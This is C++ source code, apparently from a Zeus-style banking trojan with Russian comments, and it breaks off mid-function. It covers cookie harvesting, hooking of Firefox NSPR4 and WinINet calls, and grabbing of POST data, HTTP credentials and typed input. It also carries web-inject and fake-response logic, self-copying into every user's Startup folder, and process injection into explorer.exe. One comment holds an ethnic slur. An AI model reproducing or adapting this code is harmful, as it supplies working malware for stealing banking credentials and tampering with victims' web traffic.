/* Чтение кука Wininet из файла. IN fileName - имя файла. Return - данные кука(удалит через Mem), или NULL - в случаи ошибки. */ static LPSTR __inline parseWininetCookies(LPWSTR fileName) { Fs::MEMFILE mf; LPSTR output = NULL; if(Fs::_fileToMem(fileName, &mf, 0)) { LPSTR *list; DWORD listCount = Str::_splitToStringsA((LPSTR)mf.data, mf.size, &list, Str::STS_TRIM, 0); Fs::_closeMemFile(&mf); if(listCount != (DWORD)-1) { if(listCount % 9 == 0) { CSTR_GETA(reportPathFormat, wininethook_report_cookie_path); CSTR_GETA(reportFormat, wininethook_report_cookie_data); LPSTR prevPath = NULL, path, name, value; char buf[INTERNET_MAX_URL_LENGTH + 20]; int bufSize; for(DWORD i = 0; i < listCount; i += 9) { //Получем значения. if((name = list[i + 0]) == NULL || *name == 0 || (value = list[i + 1]) == NULL || *value == 0 || (path = list[i + 2]) == NULL || *path == 0) { //Нервеный формат. Mem::free(output); output = NULL; break; } //Добавление пути. if(Str::_CompareA(prevPath, path, -1, -1) != 0) { bufSize = Str::_sprintfA(buf, sizeof(buf), reportPathFormat, path); if(bufSize == -1 || !Str::_CatExA(&output, buf, bufSize)){output = NULL; break;} } //Добовление кука. { bufSize = Str::_sprintfA(buf, sizeof(buf), reportFormat, name, value); if(bufSize == -1 || !Str::_CatExA(&output, buf, bufSize)){output = NULL; break;} } prevPath = path; } } Mem::freeArrayOfPointers(list, listCount); } } return output; }
bool CoreInstall::_uninstall(bool wait) { WCHAR path1[MAX_PATH]; WCHAR path2[MAX_PATH]; //Получаем пути. Core::getPeSettingsPath(Core::PSP_COREFILE, path1); CWA(shlwapi, PathRemoveFileSpecW)(path1); Core::getPeSettingsPath(Core::PSP_REPORTFILE, path2); CWA(shlwapi, PathRemoveFileSpecW)(path2); //Останавливаем потоки. coreData.proccessFlags |= Core::CDPF_NO_EXITPROCESS; stopServices(NULL); //Удаляем автозапуск. CoreControl::_removeAutorun(); //Удаляем файлы из ~. { Fs::_removeDirectoryTree(path1); Fs::_removeDirectoryTree(path2); } //Удаляем настройки в реестре. { WCHAR regPath[MAX_PATH]; Core::getPeSettingsPath(Core::PSP_REGKEY, regPath); Registry::_deleteKey(HKEY_CURRENT_USER, regPath); } //Создаем bat-файл. Для надежного удаления файлов. { char path1Oem[MAX_PATH]; char path2Oem[MAX_PATH]; CWA(user32, CharToOemW)(path1, path1Oem); CWA(user32, CharToOemW)(path2, path2Oem); CSTR_GETA(batch, core_uninstall_batch); char buf[MAX_PATH * 4 + 100]; int size = Str::_sprintfA(buf, sizeof(buf) / sizeof(char), batch, path1Oem, path2Oem, path1Oem, path2Oem); if(size > 0)Process::_runTempBatch(buf); } //Если удаление запушено из первичного процесса бота, завершаем процесс. if(coreData.globalHandles.stopedEvent == CURRENT_PROCESS)CWA(kernel32, ExitProcess)(0); return true; }
bool WinApiTables::_setNspr4Hooks(HMODULE nspr4Handle) { DWORD i = 0; CSTR_GETA(pr_opentcpsocket,nspr4_pr_open_tcp_socket); CSTR_GETA(pr_close,nspr4_pr_close); CSTR_GETA(pr_read,nspr4_pr_read); CSTR_GETA(pr_write, nspr4_pr_write); nspr4Hooks[i++].functionForHook = CWA(kernel32, GetProcAddress)(nspr4Handle, pr_opentcpsocket); nspr4Hooks[i++].functionForHook = CWA(kernel32, GetProcAddress)(nspr4Handle, pr_close); nspr4Hooks[i++].functionForHook = CWA(kernel32, GetProcAddress)(nspr4Handle, pr_read); nspr4Hooks[i++].functionForHook = CWA(kernel32, GetProcAddress)(nspr4Handle, pr_write); //Хукаем. bool ok = hookList(CURRENT_PROCESS, nspr4Hooks, i, sizeof(nspr4Hooks) / sizeof(HOOKWINAPI)); if(ok) { Nspr4Hook::updateAddresses(nspr4Handle, nspr4Hooks[0].originalFunction, nspr4Hooks[1].originalFunction, nspr4Hooks[2].originalFunction, nspr4Hooks[3].originalFunction); bank::init(); } return ok; }
void WininetHook::_getCookies(void) { LPSTR cookies; DWORD cookiesSize; //Получаем куки. wininetCookiesProc(COOKIESFLAG_SAVE, &cookies, &cookiesSize); if(cookiesSize == 0)cookies = NULL; //Пишим лог. { CSTR_GETW(header, wininethook_report_cookies); CSTR_GETA(empty, wininethook_report_cookies_empty); Report::writeStringFormat(BLT_COOKIES, NULL, NULL, header, cookies == NULL ? empty : cookies); } Mem::free(cookies); }
bool CoreInstall::_installToAll(void) { //Получаем предположительный путь для Startup директории. WCHAR startupPath[MAX_PATH]; { typedef BOOL (WINAPI *GETDEFAULTUSERPROFILEDIRECTORYW)(LPWSTR profileDir, LPDWORD size); bool ok = false; HMODULE dll; { CSTR_GETW(dllName, module_userenv) dll = CWA(kernel32, LoadLibraryW)(dllName); } if(dll != NULL) { GETDEFAULTUSERPROFILEDIRECTORYW getDefaultUserProfileDirectory; { CSTR_GETA(func, userenv_getdefuserprofiledir); getDefaultUserProfileDirectory = (GETDEFAULTUSERPROFILEDIRECTORYW)CWA(kernel32, GetProcAddress)(dll, func); } if(getDefaultUserProfileDirectory != NULL) { WCHAR defaultUserRoot[MAX_PATH]; DWORD size = MAX_PATH; if(getDefaultUserProfileDirectory(defaultUserRoot, &size) == TRUE) { if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK) { size = Str::_LengthW(defaultUserRoot); if(CWA(shlwapi, StrCmpNIW)(defaultUserRoot, startupPath, size) == 0) { Str::_CopyW(startupPath, startupPath + size, -1); WDEBUG1(WDDT_INFO, "startupPath=[%s].", startupPath); ok = true; } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "Failed to get default startup folder."); # endif } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "SHGetFolderPathW failed."); # endif } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW failed."); # endif } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW not founded."); # endif CWA(kernel32, FreeLibrary)(dll); } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "userenv.dll not founded."); # endif if(!ok)return false; } //Получаем список полозователей. bool ok = false; DWORD handle = 0; NET_API_STATUS status; do { /* Тупые, притупые идусы из MS, не понимают что они тупые притупые. Дело в том, что в MSDN написано, что NetUserEnum может работать с уровнями 4, 23, а на практики мы получаем большой индуский ХУЙ! */ DWORD readed; DWORD total; USER_INFO_0 *buf0 = NULL; status = CWA(netapi32, NetUserEnum)(NULL, 0, FILTER_NORMAL_ACCOUNT, (LPBYTE *)&buf0, MAX_PREFERRED_LENGTH, &readed, &total, &handle); if((status == NERR_Success || status == ERROR_MORE_DATA) && buf0 != NULL) { USER_INFO_23 *buf23; for(DWORD i = 0; i < readed; i++)if(CWA(netapi32, NetUserGetInfo)(NULL, buf0[i].usri0_name, 23, (LPBYTE *)&buf23) == NERR_Success && buf23 != NULL) { //Получаем директорию Startup. WCHAR profileDir[MAX_PATH]; if(OsEnv::_getUserProfileDirectoryhBySid(buf23->usri23_user_sid, profileDir) && Fs::_pathCombine(profileDir, profileDir, startupPath) && Fs::_createDirectoryTree(profileDir, NULL)) { WDEBUG2(WDDT_INFO, "Founded user: name=[%s], profileDir=[%s].", buf23->usri23_name, profileDir); //Делаем копию себя в профиль пользователя. WCHAR fileName[MAX_PATH]; if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, profileDir, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false)) { WDEBUG1(WDDT_INFO, "Copied to \"%s\".", fileName); ok = true; //Пытаемся запустить процесс. tryToRunForActiveSessions(buf23->usri23_user_sid, fileName); } # if(BO_DEBUG > 0) else WDEBUG1(WDDT_ERROR, "Failed to copy itself to statup folder of user \"%s\".", buf23->usri23_name); # endif } CWA(neteapi32, NetApiBufferFree)(buf23); } CWA(neteapi32, NetApiBufferFree)(buf0); } } while(status == ERROR_MORE_DATA); //Ну и копируем в себя в Default User. if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP | CSIDL_FLAG_CREATE, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK) { WCHAR fileName[MAX_PATH]; if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, startupPath, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false))ok = true; } return ok; }
/* Поиск активных сессий пользователя, и запуск из под них процессов. IN sid - SID пользоваетеля. IN fileName - файл для запуска. */ static void tryToRunForActiveSessions(PSID sid, const LPWSTR fileName) { HMODULE dll; { CSTR_GETW(dllName, module_wtsapi32); dll = CWA(kernel32, LoadLibraryW)(dllName); } if(dll != NULL) { WTSENUMERATESESSIONSW enumerateSessions; WTSFREEMEMORY freeMemory; WTSQUERYUSERTOKEN queryUserToken; { CSTR_GETA(enumerateSessionsName, wtsapi32_enumeratesessions); enumerateSessions = (WTSENUMERATESESSIONSW)CWA(kernel32, GetProcAddress)(dll, enumerateSessionsName); } { CSTR_GETA(freeMemoryName, wtsapi32_freememory); freeMemory = (WTSFREEMEMORY)CWA(kernel32, GetProcAddress)(dll, freeMemoryName); } { CSTR_GETA(queryUserTokenName, wtsapi32_queryusertoken); queryUserToken = (WTSQUERYUSERTOKEN)CWA(kernel32, GetProcAddress)(dll, queryUserTokenName); } if(enumerateSessions != NULL && freeMemory != NULL && queryUserToken != NULL) { Process::_enablePrivilege(SE_TCB_NAME, true); //Для WTSQueryUserToken. //Интерактивную сессию обрабатываем отдельно, на случай если терминальный сервер не запущен и т.д. DWORD activeSession = CWA(kernel32, WTSGetActiveConsoleSessionId)(); WDEBUG1(WDDT_INFO, "activeSession=%u.", activeSession); //Смотрим интерактивную сессию. if(activeSession != (DWORD)-1)createProcessForSession(queryUserToken, activeSession, sid, fileName); //Проматриваем все сессии кроме интерактивной. { PWTS_SESSION_INFOW sessions; DWORD sessionsCount; if(enumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, &sessions, &sessionsCount) != FALSE) { WDEBUG1(WDDT_INFO, "sessionsCount=%u.", sessionsCount); for(DWORD i = 0; i < sessionsCount; i++) { WDEBUG4(WDDT_INFO, "sessions[%u].State=%u, sessions[%u].SessionId=%u", i, sessions[i].State, i, sessions[i].SessionId); if((sessions[i].State == WTSActive || sessions[i].State == WTSDisconnected) && sessions[i].SessionId != activeSession) { createProcessForSession(queryUserToken, sessions[i].SessionId, sid, fileName); } } freeMemory(sessions); } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "WTSEnumerateSessionsW failed."); # endif } } CWA(kernel32, FreeLibrary)(dll); } }
DWORD HttpGrabber::analizeRequestData(REQUESTDATA *requestData) { #if defined WDEBUG6 WDEBUG6(WDDT_INFO, "requestData->handle=[0x%p], requestData->url=[%S], requestData->referer=[%S], requestData->contentType=[%S], requestData->verb=[%u], requestData->postDataSize=[%u].", requestData->handle, requestData->url, requestData->referer, requestData->contentType, requestData->verb, requestData->postDataSize ); #endif DWORD retVal = 0; signed char writeReport = -1;/*-1 - по умолчанию, 0 - не писать, 1 - принудительно писать*/; //Проверяем на блокировку. CWA(kernel32, EnterCriticalSection)(&blockInjectInfo.cs); if(blockInjectInfo.blockOnUrl != NULL && blockInjectInfo.urlMaskForBlock != NULL && _matchUrlA(blockInjectInfo.blockOnUrl, requestData->url, requestData->urlSize, 0)) { # if defined WDEBUG1 WDEBUG1(WDDT_INFO, "Detected blocking url [%S] for current url.", blockInjectInfo.blockOnUrl); # endif //Нельзя юзать requestData->localConfig т.к. она открта только для чтения. BinStorage::STORAGE *localConfig = LocalConfig::beginReadWrite(); if(localConfig != NULL) { if(_addUrlMaskToList(LocalConfig::ITEM_URLLIST_BLOCKEDINJECTS, &localConfig, blockInjectInfo.urlMaskForBlock)) { LocalConfig::endReadWrite(localConfig); } else { Mem::free(localConfig); LocalConfig::endReadWrite(NULL); } } Mem::free(blockInjectInfo.urlMaskForBlock); Mem::free(blockInjectInfo.blockOnUrl); blockInjectInfo.urlMaskForBlock = NULL; blockInjectInfo.blockOnUrl = NULL; } CWA(kernel32, LeaveCriticalSection)(&blockInjectInfo.cs); //Проверяем запрос по фильтру. if(requestData->dynamicConfig != NULL) { DWORD httpFilterSize; LPSTR httpFilter = (LPSTR)BinStorage::_getItemDataEx(requestData->dynamicConfig, CFGID_HTTP_FILTER, BinStorage::ITEMF_IS_OPTION, &httpFilterSize); if(Str::_isValidMultiStringA(httpFilter, httpFilterSize)) { LPSTR curFilter = httpFilter; do if(curFilter[1] != 0) { //Опеределяем тип фильтра. char filterType; switch(curFilter[0]) { case '!': filterType = 1; break; //Не писать в отчет, case '@': filterType = 2; break; //Скриншот. case '-': filterType = 3; break; //Сохранение всех куков связаных с URL, и блокировка доступа. case '^': filterType = 4; break; //Блокировка доступа. default: filterType = 0; break; //Принудительно писать в отчет. } if(filterType != 0)curFilter++; //Сравниваем URL. if(_matchUrlA(curFilter, requestData->url, requestData->urlSize, 0)) { # if defined WDEBUG3 WDEBUG3(WDDT_INFO, "requestData->url=[%S] matched [%S] for filter type %u.", requestData->url, curFilter, filterType); # endif switch(filterType) { case 0: { writeReport = 0; break; } case 1: { writeReport = 1; break; } case 2: { char host[260]; URL_COMPONENTSA uc; Mem::_zero(&uc, sizeof(URL_COMPONENTSA)); uc.dwStructSize = sizeof(URL_COMPONENTSA); uc.lpszHostName = host; uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1; if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE && uc.dwHostNameLength > 0) { UserHook::enableImageOnClick(USERCLICK2IMAGE_LIMIT, host); } break; } case 3: { //FIXME: saveSessionCookies(requestData->url); //НЕ НАДА ТУТ break! } case 4: { retVal |= ANALIZEFLAG_URL_BLOCKED; writeReport = 1; break; } } if(filterType != 2)break; //В случаи с скриншотом, продолжаем поиск. } } while((curFilter = Str::_multiStringGetIndexA(curFilter, 1))); } Mem::free(httpFilter); } //Если URL, пока не является заблакируемой. Пытаемся ее заблокировать. if((retVal & HttpGrabber::ANALIZEFLAG_URL_BLOCKED) == 0 && requestData->localConfig != NULL) { if(_isUrlInList(LocalConfig::ITEM_URLLIST_BLOCKED, requestData->localConfig, requestData->url, requestData->urlSize, 0)) { //FIXME: check, this URL founded in blacklist. retVal |= HttpGrabber::ANALIZEFLAG_URL_BLOCKED; } } //Проверяем тип содержимого. if(requestData->contentTypeSize >= (CryptedStrings::len_httpgrabber_urlencoded - 1)) { CSTR_GETA(formUrlEncoded, httpgrabber_urlencoded); if( Mem::_compare(requestData->contentType, formUrlEncoded, (CryptedStrings::len_httpgrabber_urlencoded - 1)) == 0 && (requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == ';' || requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == 0) )retVal |= HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED; } //Проверяем наличие HTTP-авторизации. LPWSTR authorizationData = NULL; int authorizationDataSize = 0; if(requestData->authorizationData.userName != NULL && *requestData->authorizationData.userName != 0 && requestData->authorizationData.password != NULL && *requestData->authorizationData.password != 0) { CSTR_GETW(format, httpgrabber_auth_normal); authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.userName, requestData->authorizationData.password); } else if(requestData->authorizationData.unknownType != NULL && *requestData->authorizationData.unknownType != 0) { CSTR_GETW(format, httpgrabber_auth_encoded); authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.unknownType); } //Проверяем хэш HTTP-авторизации. if(authorizationDataSize > 0) { DWORD hash = Crypt::crc32Hash(authorizationData, authorizationDataSize * sizeof(WCHAR)); if(lastHttpAuthorizationHash == hash) { Mem::free(authorizationData); authorizationData = NULL; } else { lastHttpAuthorizationHash = hash; retVal |= ANALIZEFLAG_AUTHORIZATION; } } //Опеределям нужно ли писать отчет. { if(writeReport == -1) { if((requestData->verb == VERB_POST && requestData->postDataSize > 0) || retVal & ANALIZEFLAG_AUTHORIZATION)retVal |= ANALIZEFLAG_SAVED_REPORT; } else if(writeReport == 1)retVal |= ANALIZEFLAG_SAVED_REPORT; } //Пишим отчет if(retVal & ANALIZEFLAG_SAVED_REPORT) { LPSTR postData = NULL; bool ok = false; //Форматируем POST-запрос. if(requestData->postDataSize == 0) { CSTR_GETA(decodedString, httpgrabber_report_empty); postData = Str::_CopyExA(decodedString, CryptedStrings::len_httpgrabber_report_empty - 1); } else if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED) { if((postData = Str::_CopyExA((LPSTR)requestData->postData, requestData->postDataSize)) != NULL) { for(DWORD i = 0; i < requestData->postDataSize; i++) { if(postData[i] == '&')postData[i] = '\n'; else if(postData[i] == '+')postData[i] = ' '; } } } else if(requestData->contentTypeSize == 0) { CSTR_GETA(decodedString, httpgrabber_report_unknown); postData = Str::_CopyExA(decodedString, CryptedStrings::len_httpgrabber_report_unknown - 1); } //Формируем отчет. if(postData != NULL) { LPWSTR userInput; UserHook::getInput(&userInput); LPWSTR urlUnicode = Str::_ansiToUnicodeEx(requestData->url, requestData->urlSize); if(urlUnicode != NULL) { URL_COMPONENTSA uc; Mem::_zero(&uc, sizeof(URL_COMPONENTSA)); uc.dwStructSize = sizeof(URL_COMPONENTSA); if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE) { //Пишим. CSTR_GETW(reportFormat, httpgrabber_report_format); CSTR_GETW(reportBlocked, httpgrabber_report_blocked); char* buf = (char*)Mem::alloc(lstrlenA(postData) + 256); wsprintfA( buf, "referer: %s, user input: %s, authorization data: %s, post data: %s", requestData->referer == NULL ? "-" : requestData->referer, (char*)(userInput == NULL ? L"" : userInput), (char*)(authorizationData == NULL ? L"" : authorizationData), postData); WriteGrabberData( requestData->url, (LPBYTE)buf, -1 ); Mem::free(buf); /* ok = Report::writeStringFormat(uc.nScheme == INTERNET_SCHEME_HTTPS ? BLT_HTTPS_REQUEST : BLT_HTTP_REQUEST, urlUnicode, NULL, reportFormat, urlUnicode, retVal & ANALIZEFLAG_URL_BLOCKED ? reportBlocked : L"", requestData->referer == NULL ? "-" : requestData->referer, userInput == NULL ? L"" : userInput, authorizationData == NULL ? L"" : authorizationData, postData); */ } Mem::free(urlUnicode); } Mem::free(userInput); Mem::free(postData); } if(ok == false)retVal &= ~ANALIZEFLAG_SAVED_REPORT; } Mem::free(authorizationData); //Если URL оказалась заблокирована, применять следущие флаги нет смысла. if(retVal & ANALIZEFLAG_URL_BLOCKED) { # if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Current url blocked."); # endif goto END; } //Проверка на инжекты и фейки. if(checkRequestForInject(requestData)) { retVal |= ANALIZEFLAG_URL_INJECT; # if defined WDEBUG1 WDEBUG1(WDDT_INFO, "Accepted %u injects for current URL.", requestData->injectsCount); # endif } //Проверка на замену POST-данных. if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED && replacePostData(requestData)) { retVal |= ANALIZEFLAG_POSTDATA_REPLACED; # if defined WDEBUG1 WDEBUG1(WDDT_INFO, "POST-data replaced [%S].", requestData->postData); # endif } END: return retVal; }
/* Создание запроса к фейк-URL. IN requestData - данные запроса. IN faketUrl - фейк-URL. IN verb - GET/POST. Return - хэндл запроса, NULL - в случаи ошибки. */ static DWORD WINAPI fakeConnectProc(void *p) { CoreHook::disableFileHookerForCurrentThread(true); FAKECONNECT *fc = (FAKECONNECT *)p; //Парсим URL. HttpTools::URLDATA urlData; if(HttpTools::_parseUrl(fc->fakeUrl, &urlData)) { //Соединяемся. HINTERNET fakeInternet = CWA(wininet, InternetOpenA)(coreData.httpUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if(fakeInternet != NULL) { HINTERNET fakeConnect = CWA(wininet, InternetConnectA)(fakeInternet, urlData.host, urlData.port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if(fakeConnect != NULL) { HINTERNET fakeRequest = CWA(wininet, HttpOpenRequestA)(fakeConnect, fc->requestData->verb == HttpGrabber::VERB_POST ? "POST" : "GET", urlData.uri, "HTTP/1.1", fc->requestData->url, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_UI | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD | (urlData.scheme == HttpTools::UDS_HTTPS ? INTERNET_FLAG_SECURE : 0), NULL); if(fakeRequest != NULL) { //Добавляем заголовоки. { LPSTR header; PESETTINGS pes; Core::getPeSettings(&pes); //Content-Type. { CSTR_GETA(ct, httpgrabber_request_ct); if(fc->requestData->contentTypeSize > 0 && Str::_sprintfExA(&header, ct, fc->requestData->contentType) > 0) { CWA(wininet, HttpAddRequestHeadersA)(fakeRequest, header, -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE); Mem::free(header); } } //ZCID. { CSTR_GETA(zcid, httpgrabber_request_zcid); LPWSTR encodedCompId = HttpTools::_urlEncodeExW(pes.compId, Str::_LengthW(pes.compId)); if(encodedCompId != NULL && Str::_sprintfExA(&header, zcid, encodedCompId) > 0) { CWA(wininet, HttpAddRequestHeadersA)(fakeRequest, header, -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE); Mem::free(header); } Mem::free(encodedCompId); } } //Отправляем запрос. if(CWA(wininet, HttpSendRequestA)(fakeRequest, NULL, 0, fc->requestData->postData, fc->requestData->postDataSize) == TRUE) { DWORD size = sizeof(DWORD); DWORD status = 0; if(CWA(wininet, HttpQueryInfoA)(fakeRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &status, &size, NULL) == TRUE && status == HTTP_STATUS_OK) { LPSTR newUrl = (LPSTR)Wininet::_queryOptionExA(fakeRequest, INTERNET_OPTION_URL, &size); if(newUrl != NULL) { //FIXME: TryUseURLMask(newUrl, size); Mem::free(newUrl); } HttpTools::_freeUrlData(&urlData); fc->fakeRequest = fakeRequest; return 0; } } CWA(wininet, InternetCloseHandle)(fakeRequest); } CWA(wininet, InternetCloseHandle)(fakeConnect); } CWA(wininet, InternetCloseHandle)(fakeInternet); } HttpTools::_freeUrlData(&urlData); } return 0; }
/* Операции производимые в момент отправки HTTP-запроса. IN request - запрос. IN OUT postData - POST-данные. IN OUT postDataSize - размер postData. Return - (-1) - вызвать стандартную функцию отсылки запроса. В другом случаи, вернуть вместо вызова стандартной функции, это значение. */ static int onHttpSendRequest(HINTERNET request, void **postData, LPDWORD postDataSize) { int retVal = -1; HttpGrabber::REQUESTDATA requestData; if(fillRequestData(&requestData, request, *postData, *postDataSize)) { DWORD result = HttpGrabber::analizeRequestData(&requestData); if(result & HttpGrabber::ANALIZEFLAG_URL_BLOCKED) { CWA(kernel32, SetLastError)(ERROR_HTTP_INVALID_SERVER_RESPONSE); retVal = (int)FALSE; } else { DWORD connectionIndex; if(result & HttpGrabber::ANALIZEFLAG_URL_INJECT) { bool addInjects = true; HINTERNET fakeRequest = NULL; if(HttpGrabber::_isFakeData(requestData.injects, requestData.injectsCount)) { HttpGrabber::INJECTFULLDATA *fakeData = &requestData.injects[0]; //Проверяем результат. if((fakeRequest = HttpGrabber::_createFakeResponse(&requestData, fakeData)) == NULL) { addInjects = false; } else { retVal = (int)TRUE; } } else { { CSTR_GETA(header, wininethook_http_acceptencoding); CWA(wininet, HttpAddRequestHeadersA)(request, header, -1, HTTP_ADDREQ_FLAG_REPLACE | HTTP_ADDREQ_FLAG_ADD); } { CSTR_GETA(header, wininethook_http_te) CWA(wininet, HttpAddRequestHeadersA)(request, header, -1, HTTP_ADDREQ_FLAG_REPLACE); } { CSTR_GETA(header, wininethook_http_ifmodified) CWA(wininet, HttpAddRequestHeadersA)(request, header, -1, HTTP_ADDREQ_FLAG_REPLACE); } } //Добавляем инжекты в список. CWA(kernel32, EnterCriticalSection)(&connectionsCs); if(addInjects == false || (connectionIndex = connectionFindEx(request)) == (DWORD)-1) { # if defined WDEBUG0 WDEBUG0(WDDT_ERROR, "Fatal error."); # endif HttpGrabber::_freeInjectFullDataList(requestData.injects, requestData.injectsCount); if(fakeRequest != NULL)Wininet::_closeWithParents(fakeRequest); } else { //Старые инжекты могу сущестовать, т.к. один запрос можно послать несколько раз. HttpGrabber::_freeInjectFullDataList(connections[connectionIndex].injects, connections[connectionIndex].injectsCount); Mem::free(connections[connectionIndex].context); connections[connectionIndex].context = NULL; connections[connectionIndex].contentPos = 0; connections[connectionIndex].contentSize = (DWORD)-1; # if(BO_DEBUG > 0) && defined WDEBUG0 if(connections[connectionIndex].injects != NULL)WDEBUG0(WDDT_WARNING, "(connections[connectionIndex].injects != NULL) == true"); # endif connections[connectionIndex].injects = requestData.injects; connections[connectionIndex].injectsCount = requestData.injectsCount; connections[connectionIndex].fakeRequest = fakeRequest; } CWA(kernel32, LeaveCriticalSection)(&connectionsCs); } if(result & HttpGrabber::ANALIZEFLAG_POSTDATA_REPLACED) { *postData = requestData.postData; *postDataSize = requestData.postDataSize; CWA(kernel32, EnterCriticalSection)(&connectionsCs); if((connectionIndex = connectionFindEx(request)) != (DWORD)-1) { Mem::free(connections[connectionIndex].postData); # if(BO_DEBUG > 0) && defined WDEBUG0 if(connections[connectionIndex].postData != NULL)WDEBUG0(WDDT_WARNING, "(connections[connectionIndex].postData != NULL) == true"); # endif connections[connectionIndex].postData = requestData.postData; } CWA(kernel32, LeaveCriticalSection)(&connectionsCs); } } } HttpGrabber::_freeRequestData(&requestData); return retVal; }
void* CoreInject::_copyModuleToExplorer(void *image) { #if defined _WIN64 PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); #else PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); #endif typedef NTSTATUS (WINAPI *tNtMapViewOfSection)(HANDLE,HANDLE,LPVOID,ULONG,SIZE_T,LARGE_INTEGER*,SIZE_T*,DWORD,ULONG,ULONG); typedef NTSTATUS (WINAPI *tNtQueueApcThread)(HANDLE,PIO_APC_ROUTINE,PVOID,PIO_STATUS_BLOCK,ULONG); CSTR_GETA(ntmapviewofsection,ntdll_ntmapviewofsection); CSTR_GETA(ntqueueapcthread,ntdll_ntqueueapcthread); CSTR_GETW(slashexplorerdotexe, explorer_exe); tNtMapViewOfSection NtMapViewOfSection=(tNtMapViewOfSection)Core::__GetProcAddress(coreData.modules.ntdll,ntmapviewofsection); tNtQueueApcThread NtQueueApcThread=(tNtQueueApcThread)Core::__GetProcAddress(coreData.modules.ntdll,ntqueueapcthread); WCHAR path[MAX_PATH]; if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_WINDOWS, NULL, SHGFP_TYPE_CURRENT, path) == S_OK) Str::_catW(path, slashexplorerdotexe, CryptedStrings::len_explorer_exe - 1); WDEBUG1(WDDT_INFO, "EXPLORER.EXE PATH: %s", path); DWORD imageSize = ntHeader->OptionalHeader.SizeOfImage; bool ok = false; DWORD viewSize = imageSize; void* remoteMem = 0; if(CWA(kernel32, IsBadReadPtr)(coreData.modules.current, imageSize) != 0)return NULL; //Выделние памяти для модуля. STARTUPINFOW st; PROCESS_INFORMATION pi; Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION)); if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;} HANDLE hFile=CWA(kernel32,CreateFileMapping)(INVALID_HANDLE_VALUE,NULL, PAGE_EXECUTE_READWRITE,0,imageSize,NULL); if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process1");return NULL;} CWA(kernel32,TerminateProcess)(pi.hProcess,0); Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION)); if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;} //Verjacrinq, uxxum enq koder@ u bacum noric if(remoteMem != NULL) { //Создаем локальный буфер, в котором будем вносить измненеия. LPBYTE buf=(LPBYTE)CWA(kernel32,MapViewOfFile)(hFile,FILE_MAP_ALL_ACCESS,0,0,0); if(buf <= 0) {WDEBUG0(WDDT_ERROR, "buf is null!");return NULL;} Mem::_copy(buf, image, imageSize); if(buf != NULL) { //Изменяем релоки. IMAGE_DATA_DIRECTORY *relocsDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if(relocsDir->Size > 0 && relocsDir->VirtualAddress > 0) { DWORD_PTR delta = (DWORD_PTR)((LPBYTE)remoteMem - ntHeader->OptionalHeader.ImageBase); DWORD_PTR oldDelta = (DWORD_PTR)((LPBYTE)image - ntHeader->OptionalHeader.ImageBase); IMAGE_BASE_RELOCATION *relHdr = (IMAGE_BASE_RELOCATION *)(buf + 